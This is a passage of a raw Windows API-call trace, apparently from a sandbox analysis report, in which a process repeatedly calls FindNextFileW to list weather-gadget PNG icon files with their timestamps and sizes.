ftLastAccessTime.dwLowDateTime=0x87148543, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b03876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2ace, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-first-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0209.477] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87148543, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87148543, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b03876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2264, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-full.png", cAlternateFileName="")) returned 1 [0209.477] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8716e6a0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8716e6a0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b05e8cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-full_partly-cloudy.png", cAlternateFileName="")) returned 1 [0209.477] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871947fd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871947fd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b084a2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x21ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-last-quarter.png", cAlternateFileName="")) returned 1 [0209.477] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871947fd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871947fd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b084a2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-last-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0209.477] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871ba95a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871ba95a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b0aab89, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x251a, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-new.png", cAlternateFileName="")) returned 1 [0209.477] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871ba95a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871ba95a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b0d0ce7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2d6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-new_partly-cloudy.png", cAlternateFileName="")) returned 1 [0209.477] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8722cd71, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8722cd71, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b0f6e45, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2334, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-crescent.png", cAlternateFileName="")) returned 1 [0209.477] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8722cd71, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8722cd71, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b11cfa3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c73, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0209.477] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87252ece, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87252ece, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b143101, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x21bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-gibbous.png", cAlternateFileName="")) returned 1 [0209.477] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87252ece, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87252ece, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b16925f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b35, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0209.478] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8729f188, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8729f188, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b3f099d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x22a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-crescent.png", cAlternateFileName="")) returned 1 [0209.478] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872c52e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x872c52e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b462db7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0209.478] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872eb442, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x872eb442, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b75c90f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2203, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-gibbous.png", cAlternateFileName="")) returned 1 [0209.478] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731159f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8731159f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b81afe5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0209.478] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873376fc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873376fc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b94bad5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3173, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_rainy.png", cAlternateFileName="")) returned 1 [0209.478] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735d859, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8735d859, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b9e404d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3369, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_snow.png", cAlternateFileName="")) returned 1 [0209.478] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735d859, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8735d859, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ba56467, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2fcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_thunderstorm.png", cAlternateFileName="")) returned 1 [0209.478] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873839b6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873839b6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c1a0765, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3229, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_windy.png", cAlternateFileName="")) returned 1 [0209.478] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a9b13, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873a9b13, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c1a0765, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x21a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_partly-cloudy.png", cAlternateFileName="")) returned 1 [0209.478] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873cfc70, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873cfc70, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c1a0765, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2ea3, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_snow.png", cAlternateFileName="")) returned 1 [0209.478] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873cfc70, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873cfc70, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c238cdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2ce5, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_sun.png", cAlternateFileName="")) returned 1 [0210.009] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8741bf2a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8741bf2a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c238cdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x32c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_windy.png", cAlternateFileName="")) returned 1 [0210.012] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87442087, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87442087, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c3697cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2929, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_cloudy.png", cAlternateFileName="")) returned 1 [0210.012] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x874681e4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x874681e4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c5cadad, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x29d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_few-showers.png", cAlternateFileName="")) returned 1 [0210.013] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748e341, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8748e341, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c5f0f0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x273c, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_foggy.png", cAlternateFileName="")) returned 1 [0210.013] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x874da5fb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x874da5fb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c663325, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3071, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_hail.png", cAlternateFileName="")) returned 1 [0210.013] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87500758, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87500758, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2cb25ee5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3253, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_rainy.png", cAlternateFileName="")) returned 1 [0210.013] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875268b5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875268b5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2cfe8aa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x32ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_snow.png", cAlternateFileName="")) returned 1 [0210.013] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8754ca12, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8754ca12, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2eda9c15, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x31d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_thunderstorm.png", cAlternateFileName="")) returned 1 [0210.013] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8773bbcb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8773bbcb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ef72c7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x0, dwReserved1=0x0, cFileName="grayStateIcon.png", cAlternateFileName="")) returned 1 [0210.013] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8773bbcb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8773bbcb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2fc8a4cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="greenStateIcon.png", cAlternateFileName="")) returned 1 [0210.013] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c396e9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c396e9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3076689b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 1 [0210.013] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8773bbcb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8773bbcb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3076689b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0210.013] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87715a6e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87715a6e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3076689b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="redStateIcon.png", cAlternateFileName="")) returned 1 [0210.014] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8767d4fa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8767d4fa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3078c9f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="search_background.png", cAlternateFileName="")) returned 1 [0210.014] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876c97b4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876c97b4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x309c7e7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x758e, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked-loading.png", cAlternateFileName="")) returned 1 [0210.014] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c5f846, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c5f846, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x309edfd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6ddb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_cloudy.png", cAlternateFileName="")) returned 1 [0210.014] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c859a3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c859a3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30b44c27, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_few-showers.png", cAlternateFileName="")) returned 1 [0210.014] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c859a3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c859a3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30c2945b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7ee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_foggy.png", cAlternateFileName="")) returned 1 [0210.014] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cabb00, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86cabb00, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30c2945b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7aae, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_hail.png", cAlternateFileName="")) returned 1 [0210.014] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cd1c5d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86cd1c5d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30d33ded, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-first-quarter.png", cAlternateFileName="")) returned 1 [0210.014] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cf7dba, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86cf7dba, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30d59f4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x60f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-first-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0210.014] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d1df17, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d1df17, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30d59f4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4ee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-full.png", cAlternateFileName="")) returned 1 [0210.014] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d44074, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d44074, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30e8aa3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x65e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-full_partly-cloudy.png", cAlternateFileName="")) returned 1 [0210.014] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d44074, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d44074, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30e8aa3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4a10, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-last-quarter.png", cAlternateFileName="")) returned 1 [0210.015] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d6a1d1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d6a1d1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x312b5083, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-last-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0210.015] FindNextFileW (in: 